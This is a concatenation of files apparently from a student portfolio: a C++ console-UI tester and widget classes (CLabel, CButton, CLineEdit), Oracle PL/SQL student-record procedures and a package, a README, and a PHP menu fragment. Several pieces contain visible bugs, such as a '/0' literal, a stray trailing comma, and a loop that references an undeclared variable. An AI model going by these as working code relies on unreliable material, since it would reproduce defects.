22, 3); key = console.stredit(str, 11, 30, 20, 50, &offset, &curpos, 1, 0, insert); ok = CheckReturnedKey(0 , key); ok = CheckIoEditMinMax(0, Console::_tabsize, curpos, 0, insert, 20 - Console::_tabsize, 20, offset) && ok; ok = CheckStrValue("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrs", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0421) if (ok && runtest(25)) { resetStr(str, 45); offset = 10; curpos = 16; insert = 0; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.21: console.stredit() Scrolling left : Hit right Arrow 4 times (but stop if fucntion exits) to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 50, &offset, &curpos, 1 , 0, insert); ok = CheckReturnedKey(0, key); ok = CheckIoEditMinMax(19 - Console::_tabsize, 19, curpos, 0, insert, 10, 10 + Console::_tabsize, offset) && ok; ok = CheckStrValue("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrs", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0422) if (ok && runtest(26)) { char value[81]; int lastIndex; resetStr(str, 45); MyStrCpy(value, str); offset = 10; curpos = 3; insert = 0; lastIndex = offset + curpos; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.22: console.stredit() Backspace : Hit Backspace 4 times (but stop if fucntion exits) to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 50, &offset, &curpos, 1 , 0, insert); ok = CheckReturnedKey(0, key); ok = CheckIoEditMinMax(0, Console::_tabsize, curpos, 0, insert, 10 - Console::_tabsize , 10, offset) && ok; MyStrCpy(&value[offset + curpos], "NOPQRSTUVWXYZabcdefghijklmnopqrs"); ok = CheckStrValue(value, str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0423) if (ok && runtest(27)) { resetStr(str, 45); offset = 10; curpos = 10; insert = 1; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.23: console.stredit() Escape when InTextEditor = 0, hit HOME key, then 'a', 'b', 'c' and then ESCAPE to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 50, &offset, &curpos, 0, 0, insert); ok = CheckReturnedKey(ESCAPE, key); ok = CheckIoEditVals(10, curpos, 1, insert, 10, offset) && ok; ok = CheckStrValue("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrs", str) && ok; pause(ok); } #endif #if defined(DO_ALL) || defined(DO_0424) if (ok && runtest(28)) { resetStr(str, 45); offset = 10; curpos = 10; insert = 0; cls(); PrnTextBox(1, 5, 70, 8, "Test 4.24: console.stredit() Escape when InTextEditor = 1 , hit right arrow 2 times, then 'a', 'b', 'c' and then ESCAPE to test!"); PrnBox(10, 29, 22, 3); key = console.stredit(str, 11, 30, 20, 50, &offset, &curpos, 1, 0, insert); ok = CheckReturnedKey(ESCAPE, key); ok = CheckIoEditVals(15, curpos, 0, insert, 10, offset) && ok; ok = CheckStrValue("ABCDEFGHIJKLMNOPQRSTUVabcZabcdefghijklmnopqrs", str) && ok; pause(ok); } #endif return ok; } int test3() { char str[] = "ABCDEFGHIJKLMNOP"; cls(); PrnTextBox(1, 10, 50, 5, "Test 3: Testing console.strdsp(): make sure all the A:(your console.strdsp) " "fields match exactly thier corresponding B:(Tester strdsp) fields;"); bio_printf(8, 6, -1, "A:"); PrnBox(7, 10, 12, 3); console.strdsp(str, 8, 11, 10); bio_printf(11, 6, -1, "B:"); PrnBox(10, 10, 12, 3); bio_printf(11, 11, 10, str); bio_printf(8, 26, -1, "A:"); PrnBox(7, 30, 12, 3); console.strdsp(str, 8, 31, 0); bio_printf(11, 26, -1, "B:"); PrnBox(10, 30, 12, 3); bio_printf(11, 31, -1, str); str[5] = 0; bio_printf(14, 6, -1, "A:"); PrnBox(13, 10, 12, 3); bio_printf(14, 11, -1, "**********"); console.strdsp(str, 14, 11, 10); bio_printf(17, 6, -1, "B:"); PrnBox(16, 10, 12, 3); bio_printf(17, 11, -1, "**********"); bio_printf(17, 11, 10, str); bio_printf(14, 26, -1, "A:"); PrnBox(13, 30, 12, 3); bio_printf(14, 31, -1, "**********"); console.strdsp(str, 14, 31, 0); bio_printf(17, 26, -1, "B:"); PrnBox(16, 30, 12, 3); bio_printf(17, 31, -1, "**********"); bio_printf(17, 31, -1, str); bio_printf(console.getRows() - 3, 2, -1, "Do all the A and B fields match? "); return Yes(); } int test2() { int done = 0, key = 0, row = 0, col = 0, escPressed = 0; cls(); PrnTextBox(5, 10, 50, 10, "Test 2: Hit all the keys and make sure they return the correct key value according to the platfrom. " "Move the 'X' around with the arrow keys, it should be able to move everywhere except the bottom-right corner. " "When you are done with testing, Hit ESCAPE or 'Q' key twice to exit the tester. Press anykey to start the tester."); key = console.getKey(); cls(); console.setPos(row, col); console.putChar('X'); do { key = console.getKey(); console.setPos(row, col); console.putChar(' '); switch (key) { case DOWN: if (row < console.getRows() - (1 + (col == console.getCols() - 1))) { row++; } break; case UP: if (row > 0) { row--; } break; case LEFT: if (col > 0) { col--; } break; case RIGHT: if (col < console.getCols() - (1 + (row == console.getRows() - 1))) { col++; } break; } if (key == 'Q' || key == 'q' || key == ESCAPE) { if (escPressed) { done = 1; } else { console.setPos(12, 11); console << "Press Escape or 'Q' again to exit"; escPressed = 1; } } else { console.setPos(12, 11); console << " "; escPressed = 0; } PrintKeyInfo(10, 11, key); console.setPos(row, col); console.putChar('X'); } while (!done); cls(); PrnTextBox(5, 10, 50, 6, "Test 2: Did all the keys work correcty according to the specs of the " "assignment and the platfrom the program is running on? " "Hit 'Y' for Yes or any other key to continue: "); return Yes(); } int test1() { cls(); PrnTextBox(5, 10, 50, 8, "Test 1: There should be three 'X' characters shown on left-top, " "right-top and left-buttom of the screen. Fourth 'X' should " "be one space to the buttom-right corner with cursor " "blinking on bottom-right corner. If this is true hit 'Y', otherwise hit any other key to continue."); console.setPos(0, 0); console.putChar('X'); console.setPos(console.getRows() - 1, 0); console.putChar('X'); console.setPos(0, console.getCols() - 1); console.putChar('X'); console.setPos(console.getRows() - 1, console.getCols() - 2); console.putChar('X'); return Yes(); } int welcome() { cls(); console.setPos(1, 1); console << TEAM_NAME; console.setPos(2, 1); console << RELEASE_VERSION; console.setPos(5, 1); console << _IOL_PROGRAM_TITLE; PrnTextBox(10, 10, 50, 6, "During the test, answer all the [Yes / No] questions by pressing 'Y' or 'y' for \"yes\" response or any other key for \"no\" response. " "Hit 'Y' to start the test or any other key to exit."); return Yes(); } int Yes() { int key = console.getKey(); return key == 'y' || key == 'Y'; } int Escape() { int key = console.getKey(); return key == ESCAPE; } void PrnTextBox(int row, int col, int width, int height, const char *text) { int len; int i = 0; int j = 0; const char *from = text; PrintHollowBox(row, col, width, height, '+', '-', '|'); while (i < height - 2 && *from) { len = getLineLength(from, width - 2); for (console.setPos(row + 1 + i++ , col + 1), j = 0; j < len; console.putChar(from[j]), j++); for (; j < len; console.putChar(' '), j++); from = from + len + 1 * !!from[len] ; } } int isWhiteSpace(char ch) { int res = 0; int i = 0; while (WHITESPACE[i] && !res) { res = WHITESPACE[i] == ch; i++; } return res; } int StrLen(const char *str) { int i = 0; while (str[i++]); return i - 1; } int getLineLength(const char *src, int maxLen) { const char* last = StrLen(src) > maxLen ? src + maxLen : src + StrLen(src); while (*last && !isWhiteSpace(*last)) { last--; } return (int)last - (int)src; } void PrintHollowBox(int row, int col, int width, int height, char corner, char horizontal, char vertical) { int i; PrintLine(row, col, width, horizontal, corner); for (i = 0; i < height - 2; i++) { PrintLine(row + i + 1, col, width, ' ', vertical); } PrintLine(row + height - 1, col, width, horizontal, corner); } void PrintLine(int row, int col, int length, int ch, int endings) { int i; console.setPos(row, col); console.putChar(endings); for (i = 0; i < length - 2; i++) { console.putChar(ch); } console.putChar(endings); } void PrintKeyInfo(int row, int col, int key) { bio_printf(row, col, 40, "Key code: %s", keycode(key)); bio_printf(row + 1, col, 40, "Key Name: %s", keyname(key)); } const char *keycode(int ch) { static char code[30]; sprintf(code, " Dec: %d Hex: %X", ch , ch); return code; } const char *keyname(int ch) { static char kname[28][20] = { "UP", "DOWN", "LEFT", "RIGHT", "PGUP", "PGDN", "ENTER", "TAB", "BS", "DEL", "HOME", "END", "ESC", "INS", "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "F11", "F12", "X", "Unknown Keycode" }; switch (ch) { case UP: return kname[0]; case DOWN: return kname[1]; case LEFT: return kname[2]; case RIGHT: return kname[3]; case PGUP: return kname[4]; case PGDN: return kname[5]; case ENTER: return kname[6]; case TAB: return kname[7]; case BACKSPACE: return kname[8]; case DEL: return kname[9]; case HOME: return kname[10]; case END: return kname[11]; case ESCAPE: return kname[12]; case INSERT: return kname[13]; case F(1): return kname[14]; case F(2): return kname[15]; case F(3): return kname[16]; case F(4): return kname[17]; case F(5): return kname[18]; case F(6): return kname[19]; case F(7): return kname[20]; case F(8): return kname[21]; case F(9): return kname[22]; case F(10): return kname[23]; case F(11): return kname[24]; case F(12): return kname[25]; default: if (ch >= ' ' && ch <= '~') { kname[26][0] = ch; return kname[26]; } else { return kname[27]; } } } void bio_printf(int row, int col, int len, char *format, ...) { char buf[256] = ""; char* str = buf; int i = 0; va_list ap; va_start(ap, format); while (*format) { if (*format == '%') { format++; switch (*format) { case 'd': sprintf(&buf[i], "%d", va_arg(ap, int)); break; case 'f': sprintf(&buf[i], "%lf", va_arg(ap, double)); break; case 's': sprintf(&buf[i], "%s", va_arg(ap, char*)); break; case 'x': sprintf(&buf[i], "%x", va_arg(ap, int)); break; case 'X': sprintf(&buf[i], "%X", va_arg(ap, int)); break; case 'p': sprintf(&buf[i], "%p", va_arg(ap, void*)); break; default: sprintf(&buf[i], "%c", *format); } } else { sprintf(&buf[i], "%c", *format); } format++; i = StrLen(buf); } va_end(ap); for (console.setPos(row, col); (len < 0 && *str) || (len >= 0 && len--) ; console.putChar(*str ? *str++ : ' ')); } char *MyStrCpy(char* des, const char* src) { char* str = des; while (*des++ = *src++); return str; } int runtest(int n) { int ret = 1; # if defined(DO_ALL) if (n >= 0 ) { if (tn != n) { ret = 0; } else { tn++; } } # endif return ret; } void cls() { console.clear(); bio_printf(0, 20, 3, "%d", tn); } <file_sep>#include "clabel.h" #include "console.h" namespace cui { CLabel::CLabel(const char *Str, int Row, int Col, int Len) : CField(Row, Col, Len) { int length = 0; if(Len == 0){ // First Line: instructions of keys length = bio::strlen(Str); } else if(Len > 0){ // MenuItems and Texts length = Len; } _data = new char[length + 1]; bio::strncpy(_data, (const char*)Str, length); ((char*)_data)[length] = '/0'; width(length); } CLabel::CLabel(int Row, int Col, int Len) : CField(Row, Col, Len) { _data = new char[Len + 1]; bio::strcpy(_data, ""); } CLabel::CLabel(const CLabel& L):CField(L){ _data = new char[bio::strlen(L._data) + 1]; bio::strcpy(_data, L._data); } CLabel::~CLabel(){ if(_data) delete [] _data; } void CLabel::draw(int fn){ console.strdsp((const char*)_data, absRow(), absCol(), width()); } int CLabel::edit(){ draw(); return 0; } bool CLabel::editable()const{ return false; } void CLabel::set(const void* str){ if(width() > 0){ bio::strcpy(_data, (const char*)str); } else if(width() == 0){ delete [] _data; _data = new char[bio::strlen(str) + 1]; bio::strcpy(_data, (const char*)str); } } }<file_sep>#include "console.h" #include "cbutton.h" #include <iostream> namespace cui { CButton::CButton(const char *Str, int Row, int Col, bool Bordered, const char* Border) : CField(Row, Col, (Bordered ? std::strlen(Str)+4 : std::strlen(Str)+2), (Bordered ? 3 : 1), (void*)0, //the width and height of the frame are determined by the border Bordered, Border) { _data = new char[std::strlen(Str) + 1]; bio::strcpy(_data, (const char*)Str); } CButton::~CButton() { delete [] _data; } void CButton::draw(int rn) { CField::draw(rn); if(visible()) console.strdsp((char*)_data, absRow()+1, absCol()+2); else console.strdsp((char*)_data, absRow()+1, absCol()+2); } int CButton::edit() { draw(); console.strdsp("[", absRow()+1, absCol()+1); console.strdsp("]", absRow()+1, absCol()+width()-2); int key = console.getKey(); if(key == ENTER || key == SPACE) return C_BUTTON_HIT; else return key; } bool CButton::editable()const { return true; } void CButton::set(const void* str) { delete [] _data; _data = new char[bio::strlen(str) + 1]; bio::strcpy(_data, (const char*)str); } } <file_sep>#include "clineedit.h" namespace cui { CLineEdit::CLineEdit(char* Str, int Row, int Col, int Width, int Maxdatalen, bool* Insertmode, bool Bordered = false, const char* Border = C_BORDER_CHARS) : CField(Row, Col, Width, Bordered ? 3 : 1, Str, Bordered, Border) { this->_dyn = false; } CLineEdit::CLineEdit(int Row, int Col, int Width, int Maxdatalen, bool* Insertmode, bool Bordered = false, const char* Border = C_BORDER_CHARS) : CField(Row, Col, Width, Bordered ? 3 : 1, new char[Maxdatalen], Bordered, Border) { this->_dyn = true; } CLineEdit::~CLineEdit() { if (this->_dyn) { delete [] this->_data; } } void CLineEdit::draw(int Refresh = C_FULL_FRAME) { CFrame::draw(Refresh); console.strdsp(this->_data + this->_offset, this->_visible ? this->absRow() + 1 : this->absRow(), this->_visible ? this->absCol() + 1 : this->absCol(), this->_visible ? this->_width - 2 : this->_width,); } int CLineEdit::edit() { return console.stredit(this->_data, this->_visible ? this->absRow() + 1 : this->absRow(), this->_visible ? this->absCol() + 1 : this->absCol(), this->_visible ? this->_width - 2 : this->_width, this->_maxdatalen, this->_offset, this->_curpos, true, false, *(this->_insertmode)); } bool CLineEdit::editable()const { return true; } void CLineEdit::set(const void* Str) { int i; for (i = 0; i < this->_maxdatalen; i++) { this->_data[i] = Str[i]; } } } // end namespace cui <file_sep>#pragma once #include "clabel.h" #include "cfield.h" namespace cui{ class CMenuItem:public CField{ bool _selected; char _format[3]; CLabel Label; public: CMenuItem(bool Selected,const char* Format, const char* Text, int Row, int Col, int Width); CMenuItem(const CMenuItem &CM); void draw(int fn = C_NO_FRAME) ; int edit(); bool editable()const; void set(const void* Selected); bool selected()const; void selected(bool val); const char* Text()const; }; } <file_sep>#pragma once #include "cfield.h" namespace cui{ class CLabel : public CField{ //int _length; void aloCpy(const char* str, int len = 0); public: CLabel(const CLabel& L); CLabel(const char *Str, int Row, int Col, int Len = 0); CLabel(int Row, int Col, int Len); ~CLabel(); void draw(int fn=C_NO_FRAME) ; int edit(); bool editable()const; void set(const void* str); }; } <file_sep>-- 1 -- Procedure CREATE OR REPLACE PROCEDURE find_stud(v_id IN student.student_id%TYPE, v_lname OUT student.last_name%TYPE, v_phone OUT student.phone%TYPE, v_zip OUT student.zip%TYPE) IS v_flag VARCHAR2(5); BEGIN BEGIN SELECT 'YES' INTO v_flag FROM student WHERE student_id = v_id; EXCEPTION WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE('There is NO Student with the ID of: ' || v_id); END; IF v_flag = 'YES' THEN SELECT last_name, phone, zip INTO v_lname, v_phone, v_zip FROM student WHERE student_id = v_id; DBMS_OUTPUT.PUT_LINE('Student with the Id of: ' || v_id || ' is ' || v_lname || ' with the phone# ' || v_phone || ' and who belongs to zip code ' || v_zip); END IF; END find_stud; -- Executing the code -- Case 1 VARIABLE lname VARCHAR2(25) VARIABLE phone VARCHAR2(15) VARIABLE zip VARCHAR2(5) EXECUTE find_stud(110, :lname, :phone, :zip) PRINT lname phone zip -- Case 2 VARIABLE lname2 VARCHAR2(25) VARIABLE phone2 VARCHAR2(15) VARIABLE zip2 VARCHAR2(5) EXECUTE find_stud(99, :lname2, :phone2, :zip2) PRINT lname2 phone2 zip2 -- 2 -- Procedure CREATE OR REPLACE PROCEDURE drop_stud(v_id IN student.student_id%TYPE, v_flag IN VARCHAR2 := 'R') IS v_exists VARCHAR2(5); v_enrollment VARCHAR2(5); v_deleted NUMBER(3) := 0; CURSOR c1 IS SELECT * FROM enrollment WHERE student_id = v_id; CURSOR c2 IS SELECT * FROM grade WHERE student_id = v_id; BEGIN BEGIN SELECT 'YES' INTO v_exists FROM student WHERE student_id = v_id; EXCEPTION WHEN NO_DATA_FOUND THEN v_exists := 'NO'; DBMS_OUTPUT.PUT_LINE('Student with the Id: ' || v_id || ' does NOT exist. Try again.'); END; BEGIN SELECT 'YES' INTO v_enrollment FROM enrollment WHERE student_id = v_id AND rownum < 2; EXCEPTION WHEN NO_DATA_FOUND THEN v_enrollment := 'NO'; END; IF v_exists = 'YES' AND v_enrollment = 'YES' AND UPPER(v_flag) = 'R' THEN DBMS_OUTPUT.PUT_LINE('Student with the Id of: ' || v_id || ' is enrolled in or more courses and his/her removal is denied.'); ELSIF v_exists = 'YES' AND v_enrollment = 'NO' AND UPPER(v_flag) IN ('R', 'C') THEN DELETE FROM student WHERE student_id = v_id; DBMS_OUTPUT.PUT_LINE('Student with the Id of: ' || v_id || ' is removed. He/she was NOT enrolled in any courses.'); ELSIF v_exists = 'YES' AND v_enrollment = 'YES' AND UPPER(v_flag) = 'C' THEN FOR j in c2 LOOP v_deleted := v_deleted + 1; END LOOP; DELETE FROM grade WHERE student_id = v_id; FOR i in c1 LOOP v_deleted := v_deleted + 1; END LOOP; DELETE FROM enrollment WHERE student_id = v_id; DELETE FROM student WHERE student_id = v_id; v_deleted := v_deleted + 1; DBMS_OUTPUT.PUT_LINE('Student with the Id of: ' || v_id || ' is removed. Total # of rows deleted is: ' || v_deleted); END IF; END drop_stud; -- Executing the code -- Case 1 EXECUTE drop_stud(210, 'R') SELECT section_id, numeric_grade AS "FINAL_GRADE" FROM grade WHERE student_id = 210 AND grade_type_code = 'FI'; SELECT first_name, last_name FROM student WHERE student_id = 210; ROLLBACK; -- Case 2 EXECUTE drop_stud(410, 'R') SELECT section_id, numeric_grade AS "FINAL_GRADE" FROM grade WHERE student_id = 410 AND grade_type_code = 'FI'; SELECT first_name, last_name FROM student WHERE student_id = 410; ROLLBACK; -- Case 3 EXECUTE drop_stud(310, 'C') SELECT section_id, numeric_grade AS "FINAL_GRADE" FROM grade WHERE student_id = 310 AND grade_type_code = 'FI'; SELECT first_name, last_name FROM student WHERE student_id = 310; ROLLBACK; -- Case 4 EXECUTE drop_stud(110, 'C') SELECT section_id, numeric_grade AS "FINAL_GRADE" FROM grade WHERE student_id = 110 AND grade_type_code = 'FI'; SELECT first_name, last_name FROM student WHERE student_id = 110; ROLLBACK; -- 3 -- Package CREATE OR REPLACE PACKAGE manage_stud AS -- Procedures PROCEDURE find_stud(v_id IN student.student_id%TYPE, v_lname OUT student.last_name%TYPE, v_phone OUT student.phone%TYPE, v_zip OUT student.zip%TYPE); PROCEDURE drop_stud(v_id IN student.student_id%TYPE, v_flag IN VARCHAR2 := 'R'); END manage_stud; -- Package Body CREATE OR REPLACE PACKAGE BODY manage_stud IS PROCEDURE find_stud(v_id IN student.student_id%TYPE, v_lname OUT student.last_name%TYPE, v_phone OUT student.phone%TYPE, v_zip OUT student.zip%TYPE) IS v_flag VARCHAR2(5); BEGIN BEGIN SELECT 'YES' INTO v_flag FROM student WHERE student_id = v_id; EXCEPTION WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE('There is NO Student with the ID of: ' || v_id); END; IF v_flag = 'YES' THEN SELECT last_name, phone, zip INTO v_lname, v_phone, v_zip FROM student WHERE student_id = v_id; DBMS_OUTPUT.PUT_LINE('Student with the Id of: ' || v_id || ' is ' || v_lname || ' with the phone# ' || v_phone || ' and who belongs to zip code ' || v_zip); END IF; END find_stud; PROCEDURE drop_stud(v_id IN student.student_id%TYPE, v_flag IN VARCHAR2 := 'R') IS v_exists VARCHAR2(5); v_enrollment VARCHAR2(5); v_deleted NUMBER(3) := 0; CURSOR c1 IS SELECT * FROM enrollment WHERE student_id = v_id; CURSOR c2 IS SELECT * FROM grade WHERE student_id = v_id; BEGIN BEGIN SELECT 'YES' INTO v_exists FROM student WHERE student_id = v_id; EXCEPTION WHEN NO_DATA_FOUND THEN v_exists := 'NO'; DBMS_OUTPUT.PUT_LINE('Student with the Id: ' || v_id || ' does NOT exist. Try again.'); END; BEGIN SELECT 'YES' INTO v_enrollment FROM enrollment WHERE student_id = v_id AND rownum < 2; EXCEPTION WHEN NO_DATA_FOUND THEN v_enrollment := 'NO'; END; IF v_exists = 'YES' AND v_enrollment = 'YES' AND UPPER(v_flag) = 'R' THEN DBMS_OUTPUT.PUT_LINE('Student with the Id of: ' || v_id || ' is enrolled in or more courses and his/her removal is denied.'); ELSIF v_exists = 'YES' AND v_enrollment = 'NO' AND UPPER(v_flag) IN ('R', 'C') THEN DELETE FROM student WHERE student_id = v_id; DBMS_OUTPUT.PUT_LINE('Student with the Id of: ' || v_id || ' is removed. He/she was NOT enrolled in any courses.'); ELSIF v_exists = 'YES' AND v_enrollment = 'YES' AND UPPER(v_flag) = 'C' THEN FOR j in c2 LOOP v_deleted := v_deleted + 1; END LOOP; DELETE FROM grade WHERE student_id = v_id; FOR i in c1 LOOP v_deleted := v_deleted + 1; END LOOP; DELETE FROM enrollment WHERE student_id = v_id; DELETE FROM student WHERE student_id = v_id; v_deleted := v_deleted + 1; DBMS_OUTPUT.PUT_LINE('Student with the Id of: ' || v_id || ' is removed. Total # of rows deleted is: ' || v_deleted); END IF; END drop_stud; END manage_stud; -- Executing the code -- Case 1 VARIABLE lname VARCHAR2(25) VARIABLE phone VARCHAR2(15) VARIABLE zip VARCHAR2(5) EXECUTE manage_stud.find_stud(110, :lname, :phone, :zip) PRINT lname phone zip -- Case 2 EXECUTE manage_stud.drop_stud(310, 'C') SELECT section_id, numeric_grade AS "FINAL_GRADE" FROM grade WHERE student_id = 310 AND grade_type_code = 'FI'; SELECT first_name, last_name FROM student WHERE student_id = 310; ROLLBACK; -- Case 3 EXECUTE manage_stud.drop_stud(110, 'C') SELECT section_id, numeric_grade AS "FINAL_GRADE" FROM grade WHERE student_id = 110 AND grade_type_code = 'FI'; SELECT first_name, last_name FROM student WHERE student_id = 110; ROLLBACK; -- 4 -- Function CREATE OR REPLACE FUNCTION valid_stud(v_id IN student.student_id%TYPE) RETURN BOOLEAN IS v_flag VARCHAR2(5); BEGIN BEGIN SELECT 'YES' INTO v_flag FROM student WHERE student_id = v_id; EXCEPTION WHEN NO_DATA_FOUND THEN RETURN FALSE; END; RETURN TRUE; END; -- Overloading Package with another form of the Procedure find_stud CREATE OR REPLACE PROCEDURE find_stud(v_id2 IN student.student_id%TYPE, v_fname OUT student.first_name%TYPE, v_lname OUT student.last_name%TYPE) IS v_phone student.phone%TYPE; v_zip student.zip%TYPE; BEGIN IF valid_stud(v_id2) THEN SELECT first_name, last_name, phone, zip INTO v_fname, v_lname, v_phone, v_zip FROM student WHERE student_id = v_id2; DBMS_OUTPUT.PUT_LINE('Student with the Id of: ' || v_id2 || ' is ' || v_lname || ' with the phone# ' || v_phone || ' and who belongs to zip code ' || v_zip); ELSE DBMS_OUTPUT.PUT_LINE('There is NO Student with the ID of: ' || v_id2); END IF; END find_stud; -- Package CREATE OR REPLACE PACKAGE manage_stud AS -- Function FUNCTION valid_stud(v_id IN student.student_id%TYPE) RETURN BOOLEAN; -- Procedures PROCEDURE find_stud(v_id IN student.student_id%TYPE, v_lname OUT student.last_name%TYPE, v_phone OUT student.phone%TYPE, v_zip OUT student.zip%TYPE); PROCEDURE find_stud(v_id2 IN student.student_id%TYPE, v_fname OUT student.first_name%TYPE, v_lname OUT student.last_name%TYPE); PROCEDURE drop_stud(v_id IN student.student_id%TYPE, v_flag IN VARCHAR2 := 'R'); END manage_stud; -- Package Body CREATE OR REPLACE PACKAGE BODY manage_stud IS FUNCTION valid_stud(v_id IN student.student_id%TYPE) RETURN BOOLEAN IS v_flag VARCHAR2(5); BEGIN BEGIN SELECT 'YES' INTO v_flag FROM student WHERE student_id = v_id; EXCEPTION WHEN NO_DATA_FOUND THEN RETURN FALSE; END; RETURN TRUE; END; PROCEDURE find_stud(v_id IN student.student_id%TYPE, v_lname OUT student.last_name%TYPE, v_phone OUT student.phone%TYPE, v_zip OUT student.zip%TYPE) IS v_flag VARCHAR2(5); BEGIN BEGIN SELECT 'YES' INTO v_flag FROM student WHERE student_id = v_id; EXCEPTION WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE('There is NO Student with the ID of: ' || v_id); END; IF v_flag = 'YES' THEN SELECT last_name, phone, zip INTO v_lname, v_phone, v_zip FROM student WHERE student_id = v_id; DBMS_OUTPUT.PUT_LINE('Student with the Id of: ' || v_id || ' is ' || v_lname || ' with the phone# ' || v_phone || ' and who belongs to zip code ' || v_zip); END IF; END find_stud; PROCEDURE find_stud(v_id2 IN student.student_id%TYPE, v_fname OUT student.first_name%TYPE, v_lname OUT student.last_name%TYPE) IS v_phone student.phone%TYPE; v_zip student.zip%TYPE; BEGIN IF valid_stud(v_id2) THEN SELECT first_name, last_name, phone, zip INTO v_fname, v_lname, v_phone, v_zip FROM student WHERE student_id = v_id2; DBMS_OUTPUT.PUT_LINE('Student with the Id of: ' || v_id2 || ' is ' || v_lname || ' with the phone# ' || v_phone || ' and who belongs to zip code ' || v_zip); ELSE DBMS_OUTPUT.PUT_LINE('There is NO Student with the ID of: ' || v_id2); END IF; END find_stud; PROCEDURE drop_stud(v_id IN student.student_id%TYPE, v_flag IN VARCHAR2 := 'R') IS v_exists VARCHAR2(5); v_enrollment VARCHAR2(5); v_deleted NUMBER(3) := 0; CURSOR c1 IS SELECT * FROM enrollment WHERE student_id = v_id; CURSOR c2 IS SELECT * FROM grade WHERE student_id = v_id; BEGIN BEGIN SELECT 'YES' INTO v_exists FROM student WHERE student_id = v_id; EXCEPTION WHEN NO_DATA_FOUND THEN v_exists := 'NO'; DBMS_OUTPUT.PUT_LINE('Student with the Id: ' || v_id || ' does NOT exist. Try again.'); END; BEGIN SELECT 'YES' INTO v_enrollment FROM enrollment WHERE student_id = v_id AND rownum < 2; EXCEPTION WHEN NO_DATA_FOUND THEN v_enrollment := 'NO'; END; IF v_exists = 'YES' AND v_enrollment = 'YES' AND UPPER(v_flag) = 'R' THEN DBMS_OUTPUT.PUT_LINE('Student with the Id of: ' || v_id || ' is enrolled in or more courses and his/her removal is denied.'); ELSIF v_exists = 'YES' AND v_enrollment = 'NO' AND UPPER(v_flag) IN ('R', 'C') THEN DELETE FROM student WHERE student_id = v_id; DBMS_OUTPUT.PUT_LINE('Student with the Id of: ' || v_id || ' is removed. He/she was NOT enrolled in any courses.'); ELSIF v_exists = 'YES' AND v_enrollment = 'YES' AND UPPER(v_flag) = 'C' THEN FOR j in c2 LOOP v_deleted := v_deleted + 1; END LOOP; DELETE FROM grade WHERE student_id = v_id; FOR i in c1 LOOP v_deleted := v_deleted + 1; END LOOP; DELETE FROM enrollment WHERE student_id = v_id; DELETE FROM student WHERE student_id = v_id; v_deleted := v_deleted + 1; DBMS_OUTPUT.PUT_LINE('Student with the Id of: ' || v_id || ' is removed. Total # of rows deleted is: ' || v_deleted); END IF; END drop_stud; END manage_stud; -- Executing the code -- Case 1 VARIABLE lname VARCHAR2(25) VARIABLE fname VARCHAR2(25) EXECUTE manage_stud.find_stud(110, :fname, :lname) PRINT fname lname -- Case 2 VARIABLE lname2 VARCHAR2(25) VARIABLE fname2 VARCHAR2(25) EXECUTE manage_stud.find_stud(99, :fname2, :lname2) PRINT fname2 lname2 -- 5 -- Add a 'Flag' column to Countries ALTER TABLE countries ADD flag CHAR(7); -- PLSQL Block SET SERVEROUTPUT ON SET VERIFY OFF ACCEPT regionID PROMPT 'Index Table Key: ' DECLARE v_flag NUMBER(5); v_index NUMBER(3) := 1; v_regionCount NUMBER(3) := 0; TYPE country_type IS TABLE OF VARCHAR2(40) INDEX BY BINARY_INTEGER; country_table country_type; CURSOR noCity_cursor IS SELECT c.country_name FROM countries c WHERE NOT EXISTS (SELECT * FROM locations l WHERE c.country_id = l.country_id) ORDER BY c.country_name ASC; CURSOR region_cursor IS SELECT c.country_name FROM countries c WHERE NOT EXISTS (SELECT * FROM locations l WHERE c.country_id = l.country_id) AND c.region_id = &regionID ORDER BY c.country_name ASC; BEGIN BEGIN SELECT COUNT(*) INTO v_flag FROM regions WHERE region_id = &regionID; END; IF v_flag > 0 THEN FOR j in noCity_cursor LOOP UPDATE countries SET flag = 'Empty_' || i.region_id WHERE country_id = i.country_id; country_table(v_index) := i.country_name; DBMS_OUTPUT.PUT_LINE('Index Table Key: ' || v_index || ' has a value of ' || i.country_name); v_index := v_index + 5; END LOOP; DBMS_OUTPUT.PUT_LINE('======================================================================'); DBMS_OUTPUT.PUT_LINE('Total number of elements in the Index Table or Number of countries with NO cities listed is: ' || country_table.COUNT); DBMS_OUTPUT.PUT_LINE('Second element (Country) in the Index Table is: ' || country_table(country_table.FIRST + 5)); DBMS_OUTPUT.PUT_LINE('Before the last element (Country) in the Index Table is: ' || country_table(country_table.LAST - 5)); DBMS_OUTPUT.PUT_LINE('======================================================================'); FOR k IN region_cursor LOOP v_regionCount := v_regionCount + 1; DBMS_OUTPUT.PUT_LINE('In the region '|| &regionID || ' there is country ' || k.country_name || ' with NO city '); END LOOP; DBMS_OUTPUT.PUT_LINE('======================================================================'); DBMS_OUTPUT.PUT_LINE('Total Number of countries with NO cities listed in the Region ' || &regionID || ' is ' || v_regionCount); ELSE DBMS_OUTPUT.PUT_LINE('This region ID does NOT exist: ' || &regionID); END IF; END; SELECT * FROM countries c WHERE NOT EXISTS (SELECT * FROM locations l WHERE c.country_id = l.country_id) ORDER BY c.region_id, c.country_name ASC; ROLLBACK;<file_sep>Portfolio ========= <NAME>'s Portfolio - Date: February 5, 2014 1. C++ 2. Java 3. Java Script 4. PHP 5. RPG, CL 6. SQL 7. Unix and Linux <file_sep><?php //**************************************************************// // The Purpose of this file: // // This is the menu file of a blogging application form // // which has the blog name, theme, logo and etc.. // //**************************************************************// ?> <h1> <?php echo "<img src=image/logo.png alt='creator: <NAME>- tools: Instagram and Photoshop' 